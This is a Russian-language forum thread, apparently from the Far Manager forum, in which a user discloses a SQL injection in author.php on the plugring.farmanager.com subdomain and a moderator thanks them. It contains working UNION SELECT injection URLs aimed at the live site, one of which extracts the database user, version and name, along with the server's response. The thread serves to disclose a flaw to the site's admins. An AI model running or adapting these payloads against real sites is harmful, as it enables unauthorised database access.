Приветствую. Сразу к делу. Уязвимость типа SQL Injection на поддомене plugring.
Уязвимый скрипт: author.php, параметр aid.
Вектор атаки: [url]xttp://plugring.farmanager.com/author.php?aid=-9+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--[/url]
Вывод user, version, database: [url]xttp://plugring.farmanager.com/author.php?aid=-9+union+select+1,2,3,4,5,6,concat(user(),0x3a,version(),0x3a,database()),8,9,10,11,12,13,14--[/url]
Ответ: plugring@localhost:5.5.41-0ubuntu0.14.04.1:plugring
С уважением n3m1s.
Уязвимость на сайте.
- HaRT
- Moderator
- Posts: 10869
- Joined: Tue 30 Aug, 2005 17:21
- Has thanked: 221 times
- Been thanked: 358 times
Уязвимость на сайте.
n3m1s, спасибо.
Надеюсь, админы отреагируют.
Надеюсь, админы отреагируют.
Фар есть инструмент, а не нянька. © 2009 DrKnS
- WARP ItSelf
- Самый умный
- Posts: 1011
- Joined: Tue 15 Mar, 2005 23:19
- Contact: